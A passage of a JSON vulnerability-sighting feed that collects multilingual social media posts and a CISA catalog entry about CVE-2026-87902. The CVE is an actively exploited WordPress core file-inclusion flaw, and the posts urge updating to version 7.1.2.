\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0430\u0442\u0430\u043a \u0441 \u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432, \u0432\u0430\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u044b\u043b\u043e \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0435 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0435 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-87902, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0441\u043e\u0432\u0435\u0442\u044b \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 Kaspersky Daily.", "url": "https://t.me/kasperskylab_ru/7754"}, {"timestamp": "2026-09-25T17:25:46Z", "date_only": false, "value": "2026-09-25T17:25:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/kasperskylab_ru/7754", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ef31e461-17c9-474b-8e07-797e39c545eb", "content": "\u2757\ufe0f\u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 WordPress (CVE-2026-87902) \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n22 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f WordPress \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0435\u0451 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0447\u0435\u043d\u044c \u0431\u044b\u0441\u0442\u0440\u043e \u2014 \u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0430\u0442\u0447\u0430.\n\n\u0418\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-87902 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043a WordPress \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b, \u043f\u0440\u0438\u0447\u0435\u043c \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f?\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0439 WordPress-\u0441\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u043b\u043e\u0433 \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447.\n\n\u041d\u043e \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043a\u043e\u0433\u0434\u0430 \u043c\u0435\u0436\u0434\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0430\u0442\u0430\u043a \u0441 \u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432, \u0432\u0430\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u044b\u043b\u043e \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0435 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0435 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-87902, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0441\u043e\u0432\u0435\u0442\u044b \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 Kaspersky Daily.", "url": "https://t.me/kasperskylab_ru/7754"}, {"timestamp": "2026-09-25T18:00:21.887Z", "date_only": false, "value": "2026-09-25T18:00:21.887581Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwedyqjnw62i", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6cc60390-e3a3-4747-a89e-59bdb3b80edc", "content": "WordPress CVE-2026-87902 (CVSS 9.2) is also being actively exploited: unauthenticated RCE via page-template resolution. Previdian recorded 68 attempts since Sept 23. Upgrade ASAP. Source: TheHackerNews. #InfoSec", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwedyqjnw62i"}, {"timestamp": "2026-09-25T19:53:44.469Z", "date_only": false, "value": "2026-09-25T19:53:44.469345Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mwekdhjzvi2d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "2d66e988-b9f6-4b41-b0a9-f7486d12ed59", "content": "\ud83d\uded1 CVE-2026-87902\nWordPress Core\nCVSS 8.1 / EPSS 3% / KEV: No\nTL;DR: An unauthenticated attacker can make `get_page_template()` page-template resolution include \u2026\nhttps://cvesentinel.com/report/CVE-2026-87902?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "url": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mwekdhjzvi2d"}, {"timestamp": "2026-09-25T20:31:01.806Z", "date_only": false, "value": "2026-09-25T20:31:01.806710Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117333573300063688", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "5b76cd92-eef1-4608-b387-981a27db5c3f", "content": "\ud83d\udcf0 Critical WordPress Path Traversal Flaw Actively Exploited (CVE-2026-87902)\n\ud83d\udea8 CRITICAL VULNERABILITY: WordPress Core is being actively exploited via CVE-2026-87902 (CVSS 9.2). The unauthenticated path traversal flaw can lead to RCE. Affects versions 4.7.0-7.1.1. Update to 7.1.2 immediately! #WordPress #CVE #CyberSecurity #P...\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-wordpress-path-traversal-vulnerability-cve-2026-87902-exploited/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/117333573300063688"}, {"timestamp": "2026-09-25T20:31:18.639Z", "date_only": false, "value": "2026-09-25T20:31:18.639574Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mwemgmx4ui23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8c0d7d44-5245-4c1a-a82d-363b61076be3", "content": "\ud83d\udea8 CRITICAL VULNERABILITY: WordPress Core is being actively exploited via CVE-2026-87902 (CVSS 9.2). The unauthenticated path traversal flaw can lead to RCE. Affects versions 4.7.0-7.1.1. Update to 7.1.2 immediately! #WordPress #CVE #CyberSecurity #P...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mwemgmx4ui23"}, {"timestamp": "2026-09-25T21:00:01Z", "date_only": false, "value": "2026-09-25T21:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "timestamps.recorded_at", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-25T21:00:02.134Z", "date_only": false, "value": "2026-09-25T21:00:02.134795Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ddae727a-8beb-478a-b139-8a820f12a93d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "96f11177-176c-423f-afdd-7ae93eb37c94", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ddae727a-8beb-478a-b139-8a820f12a93d"}, {"timestamp": "2026-09-25T21:00:22.255Z", "date_only": false, "value": "2026-09-25T21:00:22.255265Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mweo2mivrv2i", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9dc26494-bdc2-45bf-a7c4-b2772c1a17b5", "content": "WordPress CVE-2026-87902 (CVSS 9.2) is also being actively exploited: unauthenticated RCE via page-template resolution. Previdian recorded 68 attempts since Sept 23. Upgrade ASAP. Source: TheHackerNews. #InfoSec", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mweo2mivrv2i"}, {"timestamp": "2026-09-25T22:22:52.296Z", "date_only": false, "value": "2026-09-25T22:22:52.296290Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mweso554fd2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f0fa993a-48aa-4f32-b5b6-5653ca4f6fce", "content": "CISA added WordPress Core flaw CVE-2026-87902 to its KEV catalog.\n\u2022 Unauthenticated file inclusion that can lead to RCE under certain setups\n\u2022 Fixed in WordPress 7.1.2, backported to 4.7\n\nhttps://thecircuitry.to/article/cisa-adds-wordpress-core-flaw-to-kev-catalog-muhit97d", "url": "https://bsky.app/profile/thecircuitry.to/post/3mweso554fd2n"}, {"timestamp": "2026-09-26T00:01:03.895Z", "date_only": false, "value": "2026-09-26T00:01:03.895027Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mwey5ozg2t22", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9167f936-1f19-4779-91c3-434c5a54def5", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nThis article focuses on the inclusion of a single new vulnerability, CVE-2026-87902, implying the KEV Catalog represents a comprehensive threat picture. Given that exploitation is an ongoing global issue, why is the focus placed narrowly on\u2026", "url": "https://bsky.app/profile/arc-codex.com/post/3mwey5ozg2t22"}, {"timestamp": "2026-09-26T00:21:07.247Z", "date_only": false, "value": "2026-09-26T00:21:07.247930Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/techbeginnerguide.bsky.social/post/3mwezbhcrbk2e", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "bd1740ee-8b5d-4fe4-ab17-7292499c7075", "content": "CVE-2026-87902\n\nWordPress\u304c\u56fa\u5b9a\u30da\u30fc\u30b8\u7528\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u63a2\u3059\u51e6\u7406 get_page_template() \u306b\u5b58\u5728\u3059\u308b\u672a\u8a8d\u8a3c\u306e\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff0f\u30ed\u30fc\u30ab\u30ebPHP\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u306e\u8106\u5f31\u6027", "url": "https://bsky.app/profile/techbeginnerguide.bsky.social/post/3mwezbhcrbk2e"}, {"timestamp": "2026-09-26T03:00:05Z", "date_only": false, "value": "2026-09-26T03:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/81ZxAi3drt5TdyCoeDwTgAnR6u7IKZ42DhAcDrRYmOpRijY", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ee191f46-a6ee-4d40-93d3-ed114d6c7f2f"}, {"timestamp": "2026-09-26T03:55:51.560Z", "date_only": false, "value": "2026-09-26T03:55:51.560Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2026-87902", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-09-26T03:55:51.560Z", "date_only": false, "value": "2026-09-26T03:55:51.560Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2026-87902", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-09-26T06:30:23.750Z", "date_only": false, "value": "2026-09-26T06:30:23.750958Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/threatspotai.bsky.social/post/3mwfnvvp7kb2h", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "af3465c0-5d7c-46e5-8fcf-d215a1bc1afe", "content": "\ud83d\udea8 CISA KEV Alert\nCVE-2026-87902: \u26a0\ufe0f CVE-2026-87902: New Actively Exploited Vulnerability Added to CISA KEV\nSeverity: HIGH | CVSS: 0.0 | EPSS: 2.9%\nActively exploited\n\nRead the full alert: https://threatspot.ai/alerts/2026-87902-an-unauthenticated-attacker-can-make-get_page_template", "url": "https://bsky.app/profile/threatspotai.bsky.social/post/3mwfnvvp7kb2h"}, {"timestamp": "2026-09-26T06:35:08.173Z", "date_only": false, "value": "2026-09-26T06:35:08.173229Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwfo6el7r42k", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8b361123-c073-4e4f-9edd-539f169c7a11", "content": "Top 3 CVE for last 7 days:\nCVE-2026-94127: 27 interactions\nCVE-2026-86296: 25 interactions\nCVE-2026-87902: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-100000: 11 interactions\nCVE-2026-33818: 9 interactions\nCVE-2026-39821: 9 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwfo6el7r42k"}, {"timestamp": "2026-09-26T07:00:09Z", "date_only": false, "value": "2026-09-26T07:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103400", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "cc104b2f-5fb4-463a-99e8-7cb36542b9f6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-upgrade-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a itskill-jp\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-26 06:55:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only check of every WordPress core version on a server. Flags CVE-2026-87902 (fixed in 7.1.2 and backports), auto-updates turned off, and published attack indicators.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103400"}, {"timestamp": "2026-09-26T07:00:09Z", "date_only": false, "value": "2026-09-26T07:00:09.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103400", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8b8b4519-e8de-4fa8-83ed-312a0e0139e5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-upgrade-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a itskill-jp\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-26 06:55:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only check of every WordPress core version on a server. Flags CVE-2026-87902 (fixed in 7.1.2 and backports), auto-updates turned off, and published attack indicators.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103400"}, {"timestamp": "2026-09-26T08:10:53.403Z", "date_only": false, "value": "2026-09-26T08:10:53.403344Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-7a251540-fa15b9ff60d90c49", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4ff7ae1b-6eee-423c-878a-8f39baab2167", "content": "U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds WordPress flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a WordPress Core flaw, tracked as CVE-2026-87902 (CVSS score of 9.2), to its Known Exploited Vulnerabilities (KEV) catalog. CVE-2026-87902 allows an unauthenticated attacker to make the get_page_template() function include a readable local [\u2026]U.S. CISA adds WordPress flaw to its Known Exploited Vulnerabilities catalog", "url": "https://poliverso.org/objects/0477a01e-7a251540-fa15b9ff60d90c49"}, {"timestamp": "2026-09-26T08:10:54.365Z", "date_only": false, "value": "2026-09-26T08:10:54.365197Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mwftjiy3xrz2", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7774a259-980b-4db5-ac7b-7c59dad9588a", "content": "U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds WordPress flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a WordPress Core flaw, tracked as CVE-2026-87902 (CVSS score of 9.2), to its Known Exploited [\u2026]", "url": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mwftjiy3xrz2"}, {"timestamp": "2026-09-26T10:06:33.835Z", "date_only": false, "value": "2026-09-26T10:06:33.835463Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/chun-log-jp.bsky.social/post/3mwfzygcqh52f", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "b1fc9195-e26d-408e-872a-2bbde8ce6d2d", "content": "WordPress 7.1.1\u3078\u66f4\u65b0\u6e08\u307f\u3067\u3082CVE-2026-87902\u306e\u4fee\u6b63\u306f\u5165\u3063\u3066\u3044\u307e\u305b\u3093\u3002\n\u3053\u308c\u306fClick2Shell\u3068\u306f\u5225\u306e\u554f\u984c\u3067\u3001\u672a\u30ed\u30b0\u30a4\u30f3\u306e\u7b2c\u4e09\u8005\u304c\u7d30\u5de5\u3057\u305fpagename\u3092\u9001\u308b\u3068\u30c6\u30fc\u30de\u306e\u69cb\u9020\u306a\u3069\u6761\u4ef6\u6b21\u7b2c\u3067\u30c6\u30fc\u30de\u5916\u306ePHP\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u307e\u305b\u3089\u308c\u307e\u3059\u3002\n7.1\u7cfb\u306f7.1.2\u3001\u65e7\u7cfb\u5217\u306f\u5bfe\u5fdc\u3059\u308b\u4fee\u6b63\u7248\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002\nhttps://chunlog.jp/wordpress-7-1-2-cve-2026-87902/?utm_source=bluesky&utm_medium=social&utm_campaign=post\n#WordPress #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "url": "https://bsky.app/profile/chun-log-jp.bsky.social/post/3mwfzygcqh52f"}, {"timestamp": "2026-09-26T15:00:07Z", "date_only": false, "value": "2026-09-26T15:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZwzTOKK99bJ7BFqHmsNQhcBtNpWeVQ50id2s1j08rwHDfjQ", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "527235d0-0e1a-4b6b-a6c9-03848e03039a"}, {"timestamp": "2026-09-26T15:00:07Z", "date_only": false, "value": "2026-09-26T15:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ZwzTOKK99bJ7BFqHmsNQhcBtNpWeVQ50id2s1j08rwHDfjQ", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b82da287-5b00-4f1c-aa3f-6f9e3e837801"}, {"timestamp": "2026-09-26T18:47:35.446Z", "date_only": false, "value": "2026-09-26T18:47:35.446464Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technobezz.com/post/3mwgx43f5ve2d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0ed20159-c449-43dd-bce2-da685587acb8", "content": "WordPress patched a critical flaw, CVE-2026-87902, on September 22 that allows arbitrary code execution on web servers, with exploit attempts surfacing within hours. Sites on versions 4.7.0 through 7.1.1 should update to 7.1.2 or newer.", "url": "https://bsky.app/profile/technobezz.com/post/3mwgx43f5ve2d"}, {"timestamp": "2026-09-27T00:28:20.042Z", "date_only": false, "value": "2026-09-27T00:28:20.042350Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mwhk6r4fx22f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1bb80cb1-d055-49f7-9565-37a92a3216d0", "content": "\u65e5\u672c\u6642\u95939\u670823\u65e5\u306bWordPress7.1.2\u304c\u516c\u958b\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-87902\uff09\u3092\u53d7\u3051\u3066\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fc\u66f4\u65b0\u3067\u3059\u3002\n\n\u4eca\u56de\u306e\u3088\u3046\u306a\u8106\u5f31\u6027\u306f\u72d9\u308f\u308c\u3066\u57f7\u62d7\u306b\u30a2\u30af\u30bb\u30b9\u3055\u308c\u308b\u5834\u5408\u304c\u7d4c\u9a13\u4e0a\u975e\u5e38\u306b\u591a\u3044\u3067\u3059\u3002\u5f37\u5236\u7684\u306b\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4e0a\u3052\u305f\u30b5\u30fc\u30d0\u30fc\u4f1a\u793e\u3082\u3042\u308b\u3088\u3046\u3067\u3059\u304c\uff08\u30ea\u30f3\u30af\u5148\uff09\u3001\u81ea\u52d5\u66f4\u65b0\u3057\u3066\u3044\u308b\u65b9\u306f\u5ff5\u306e\u305f\u3081\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002\n\n\u25c7\u5bfe\u8c61\uff1a4.7.x\u7cfb\uff5e7.1.x\u7cfb\u306e\u65e7\u30d0\u30fc\u30b8\u30e7\u30f3\u3059\u3079\u3066\uff08\u203b7.1.1\u3082\u5bfe\u8c61\uff09\n\u25c7\u5bfe\u7b56\uff1a9\u670822\u65e5\uff08\u65e5\u672c\u6642\u95939\u670823\u65e5\uff09\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u5404\u30d0\u30fc\u30b8\u30e7\u30f3\u6bce\u306e\u6700\u65b0\u7248\u3078\u3001\u901f\u3084\u304b\u306b\u66f4\u65b0\u3057\u3066\u304f\u3060\u3055\u3044\u3002\nwww.xserver.ne.jp/news_detail....", "url": "https://bsky.app/profile/jkanematsu.bsky.social/post/3mwhk6r4fx22f"}, {"timestamp": "2026-09-27T04:00:50.974Z", "date_only": false, "value": "2026-09-27T04:00:50.974214Z", "kind": 